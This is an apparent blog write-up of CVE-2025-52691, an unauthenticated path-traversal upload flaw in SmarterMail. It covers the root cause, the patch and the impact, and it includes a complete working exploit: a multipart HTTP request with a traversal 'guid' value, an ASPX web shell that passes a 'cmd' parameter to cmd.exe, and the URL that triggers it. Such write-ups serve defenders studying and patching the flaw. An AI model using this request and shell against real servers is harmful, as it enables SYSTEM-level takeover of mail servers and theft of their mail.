Feb 23, 2026·6 min read·38 visits
Unauthenticated RCE in SmarterMail via the file upload API. Attackers can manipulate the 'guid' parameter in a JSON payload to traverse directories and write .aspx shells to the web root. Rated CVSS 10.0 and currently exploited in the wild.
A critical RCE vulnerability in SmarterTools SmarterMail allows unauthenticated attackers to upload arbitrary files—including web shells—via path traversal in the API. This flaw grants SYSTEM-level access to the mail server, turning a collaboration platform into a persistent backdoor.
If you are a sysadmin who manages email servers but doesn't have the budget (or the patience) for Microsoft Exchange, you probably run SmarterMail. It is the rugged, utilitarian alternative—a .NET-based mail server that does exactly what it says on the tin. But like many legacy enterprise applications that have evolved over decades, its codebase is a geological layering of different eras of web development practices. Somewhere in those layers, a developer made a classic mistake: trusting the user.
CVE-2025-52691 isn't just a bug; it is a catastrophe. It represents the "Holy Trinity" of exploitation: Unauthenticated, Remote, and Code Execution. Even worse, it runs with high privileges (often SYSTEM) on Windows servers. When you compromise a mail server, you don't just get a box; you get the organization's nervous system. You can read CEO emails, reset passwords for other services, and pivot internally with the authority of a trusted device.
This vulnerability was silently patched in October 2025, leaving a three-month gap where only the vendor—and likely a few sharp-eyed threat actors—knew the door was wide open. It wasn't until watchTowr Labs and others tore apart the patch in early 2026 that the rest of the world realized their mail servers were ticking time bombs.
The vulnerability lives in the FileUploadController, specifically within the /api/upload endpoint. Modern web apps usually protect file uploads like a dragon guarding gold, but SmarterMail's implementation had a fatal architectural flaw. The endpoint was decorated with [AuthenticatedService(AllowAnonymous = true)]. Yes, you read that correctly. It is an "Authenticated Service" that explicitly allows anonymous access. This is the digital equivalent of a "Do Not Enter" sign on an unlocked door.
Once inside, the logic gets murkier. The API accepts a multipart/form-data POST request. One of the parameters, contextData, is a JSON string. The server deserializes this string into an internal object called PostUploadProcessingTargetData. This object contains a property named guid.
Here is where the logic falls apart. The developers likely intended this guid to be a standard 128-bit identifier (e.g., 550e8400-e29b...) to organize temporary files or attachments. However, they failed to enforce that assumption. They didn't check if it was a GUID. They didn't check if it contained path characters. They simply took this string and concatenated it into a file path. By supplying a "guid" that looked like ../../../../inetpub/wwwroot, an attacker could break out of the intended temporary directory and write files anywhere the service account had write permissions.
Let's look at the logic flow to understand why this broke. While we cannot paste proprietary source code verbatim, we can reconstruct the logic based on the binary analysis and patch diffs. The vulnerability stems from how the backend processes the context parameter when it is set to attachment.
// Pseudo-code representation of the vulnerable flow
[HttpPost]
[AuthenticatedService(AllowAnonymous = true)] // <--- First mistake
public ActionResult Upload() {
// ... request parsing ...
// 1. Extract the JSON payload from the form data
string contextDataJson = Request.Form["contextData"];
var targetData = JsonConvert.DeserializeObject<PostUploadProcessingTargetData>(contextDataJson);
// 2. Extract the 'guid' without validation
string userProvidedGuid = targetData.guid;
// 3. Construct the path.
// The application *thinks* it's saving to: App_Data/Attachments/{GUID}/{filename}
// But it doesn't sanitize {GUID}.
string savePath = Path.Combine(baseAttachmentPath, userProvidedGuid, fileName);
// 4. Write the file
File.WriteAllBytes(savePath, fileBytes);
}The developers did a decent job sanitizing the fileName itself to prevent shell.aspx from becoming ../../shell.aspx. However, they completely neglected the directory structure component (userProvidedGuid). This is a classic "defense in depth" failure—locking the window (filename) while leaving the front door (directory path) wide open.
In Build 9413, SmarterTools added a sanity check. They now parse the guid string to ensure it is technically a valid GUID structure before using it in any path operations. If Guid.TryParse() fails, the request is rejected. It’s a one-line fix for a catastrophic problem.
Exploiting this is trivially easy once you know the parameter names. We don't need authentication. We don't need complex memory corruption. We just need a POST request.
The goal is to upload a webshell (an ASPX script that executes commands) into a directory that the IIS web server will execute. Usually, this is the web root. In SmarterMail installations, this might be C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\ or a standard IIS inetpub path depending on the deployment config.
Here is what the kill chain looks like:
shell.aspx) that takes a query parameter and passes it to cmd.exe.contextData parameter: {"guid": "../../../../MRS/App_Data/"}./api/upload.POST /api/upload HTTP/1.1
Host: target-mail-server.com
Content-Type: multipart/form-data; boundary=----HackerBoundary
------HackerBoundary
Content-Disposition: form-data; name="context"
attachment
------HackerBoundary
Content-Disposition: form-data; name="contextData"
{"guid":"../../../../../../SmarterMail/MRS/App_Data/"}
------HackerBoundary
Content-Disposition: form-data; name="files"; filename="shell.aspx"
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]); %>
------HackerBoundary--If successful, the server responds with 200 OK. The attacker then simply navigates to https://target-mail-server.com/App_Data/shell.aspx?cmd=whoami and watches nt authority\system appear on the screen.
Why is this CVSS 10.0? Because in the Windows world, context is king. SmarterMail runs as a service. That service requires extensive permissions to bind to ports (25, 110, 143, 443), access the file system (to store gigabytes of mail), and interact with the OS.
When an attacker lands a shell here, they are not just a low-privileged www-data user like you might find on a hardened Linux Nginx box. They are often SYSTEM. From here, the attacker can:
This vulnerability is currently in the CISA KEV (Known Exploited Vulnerabilities) catalog. Ransomware groups are actively scanning for it. If you have an unpatched SmarterMail instance facing the internet, statistically speaking, it is already compromised.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
SmarterMail SmarterTools | <= Build 9406 | Build 9413 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-434 / CWE-22 |
| Attack Vector | Network (API) |
| CVSS v3.1 | 10.0 (Critical) |
| EPSS Score | 0.72702 (72.7%) |
| Privileges Required | None (Unauthenticated) |
| Exploit Status | Active / In-the-Wild |
The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.